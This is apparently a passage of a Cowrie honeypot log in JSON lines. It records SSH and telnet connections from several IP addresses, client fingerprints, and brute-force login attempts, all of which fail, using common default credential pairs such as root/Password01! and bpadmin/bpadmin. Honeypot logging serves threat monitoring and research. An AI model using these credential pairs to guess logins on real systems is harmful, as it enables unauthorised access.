9"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:56.098166Z","src_ip":"91.92.40.36","session":"a1e992bdbc88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:56.375704Z","src_ip":"102.213.34.99","session":"1aaced23d2ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123","message":"login attempt [aaa/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:57.243808Z","src_ip":"91.92.40.36","session":"03eb4b9ef7fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password01!","message":"login attempt [root/Password01!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:58.640568Z","src_ip":"91.92.40.36","session":"a1e992bdbc88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":52542,"dst_ip":"159.203.135.109","dst_port":23,"session":"988b5284accd","protocol":"telnet","message":"New connection: 107.6.151.170:52542 (159.203.135.109:23) [session: 988b5284accd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:59.035370Z"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:59.697880Z","src_ip":"91.92.40.36","session":"03eb4b9ef7fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:00.197521Z","src_ip":"91.92.40.36","session":"a1e992bdbc88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":51606,"dst_ip":"10.17.0.5","dst_port":22,"session":"62df88f514a6","protocol":"ssh","message":"New connection: 91.92.40.36:51606 (10.17.0.5:22) [session: 62df88f514a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:03.935887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:04.041613Z","src_ip":"91.92.40.36","session":"62df88f514a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:04.044841Z","src_ip":"91.92.40.36","session":"62df88f514a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Contabo2026","message":"login attempt [root/Contabo2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:05.551462Z","src_ip":"91.92.40.36","session":"62df88f514a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:07.002548Z","src_ip":"91.92.40.36","session":"62df88f514a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":33316,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cacd3f32f77","protocol":"telnet","message":"New connection: 172.81.62.90:33316 (159.203.135.109:23) [session: 3cacd3f32f77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:08.792561Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":28846,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8b16a190d60","protocol":"ssh","message":"New connection: 91.92.40.36:28846 (10.17.0.5:22) [session: b8b16a190d60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:12.018703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:12.111580Z","src_ip":"91.92.40.36","session":"b8b16a190d60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:12.195401Z","src_ip":"91.92.40.36","session":"b8b16a190d60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":51220,"dst_ip":"159.203.135.109","dst_port":22,"session":"77519e9a7578","protocol":"ssh","message":"New connection: 102.210.148.92:51220 (159.203.135.109:22) [session: 77519e9a7578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:12.201613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:12.206239Z","src_ip":"102.210.148.92","session":"77519e9a7578","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:12.445826Z","src_ip":"102.210.148.92","session":"77519e9a7578","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123","message":"login attempt [dev/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:12.999579Z","src_ip":"91.92.40.36","session":"b8b16a190d60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"123456","message":"login attempt [jack/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:13.438477Z","src_ip":"102.210.148.92","session":"77519e9a7578","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:14.680855Z","src_ip":"102.210.148.92","session":"77519e9a7578","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:14.726917Z","src_ip":"91.92.40.36","session":"b8b16a190d60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":58556,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc5d106d5ff7","protocol":"telnet","message":"New connection: 172.81.62.90:58556 (159.203.135.109:23) [session: dc5d106d5ff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:16.094427Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":52344,"dst_ip":"10.17.0.5","dst_port":22,"session":"022364e13bd7","protocol":"ssh","message":"New connection: 91.92.40.36:52344 (10.17.0.5:22) [session: 022364e13bd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:20.067592Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":39148,"dst_ip":"159.203.135.109","dst_port":23,"session":"b659fbbff365","protocol":"telnet","message":"New connection: 107.6.151.170:39148 (159.203.135.109:23) [session: b659fbbff365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:20.396419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:20.667010Z","src_ip":"91.92.40.36","session":"022364e13bd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:21.636474Z","src_ip":"91.92.40.36","session":"022364e13bd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":52398,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2af93d9d3b9","protocol":"ssh","message":"New connection: 91.92.40.36:52398 (10.17.0.5:22) [session: f2af93d9d3b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:27.371645Z"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"Wangsu@2017","message":"login attempt [cloud/Wangsu@2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:27.376910Z","src_ip":"91.92.40.36","session":"022364e13bd7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:28.076836Z","src_ip":"91.92.40.36","session":"f2af93d9d3b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48952,"dst_ip":"159.203.135.109","dst_port":23,"session":"dace9470f0bf","protocol":"telnet","message":"New connection: 128.199.8.54:48952 (159.203.135.109:23) [session: dace9470f0bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:28.149913Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:29.050566Z","src_ip":"91.92.40.36","session":"f2af93d9d3b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:30.110855Z","src_ip":"91.92.40.36","session":"022364e13bd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":60808,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1aed86fc117","protocol":"telnet","message":"New connection: 172.81.62.90:60808 (159.203.135.109:23) [session: d1aed86fc117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:33.234901Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"restart","message":"login attempt [root/restart] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:35.146055Z","src_ip":"91.92.40.36","session":"f2af93d9d3b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":30844,"dst_ip":"10.17.0.5","dst_port":22,"session":"73ffe073dbd7","protocol":"ssh","message":"New connection: 91.92.40.36:30844 (10.17.0.5:22) [session: 73ffe073dbd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:35.882344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:35.888814Z","src_ip":"91.92.40.36","session":"73ffe073dbd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:36.321674Z","src_ip":"91.92.40.36","session":"73ffe073dbd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:37.578408Z","src_ip":"91.92.40.36","session":"f2af93d9d3b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"P@ssw0rd","message":"login attempt [user/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:37.598099Z","src_ip":"91.92.40.36","session":"73ffe073dbd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:39.113095Z","src_ip":"91.92.40.36","session":"73ffe073dbd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":38226,"dst_ip":"10.17.0.5","dst_port":22,"session":"a24130698edd","protocol":"ssh","message":"New connection: 91.92.40.36:38226 (10.17.0.5:22) [session: a24130698edd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:41.280452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:41.957044Z","src_ip":"91.92.40.36","session":"a24130698edd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:41.960291Z","src_ip":"91.92.40.36","session":"a24130698edd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bpadmin","password":"bpadmin","message":"login attempt [bpadmin/bpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:44.688109Z","src_ip":"91.92.40.36","session":"a24130698edd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.242","src_port":34712,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6d0698d24a7","protocol":"ssh","message":"New connection: 103.84.236.242:34712 (159.203.135.109:22) [session: f6d0698d24a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:45.646536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:37:45.650665Z","src_ip":"103.84.236.242","session":"f6d0698d24a7","protocol":"ssh"}
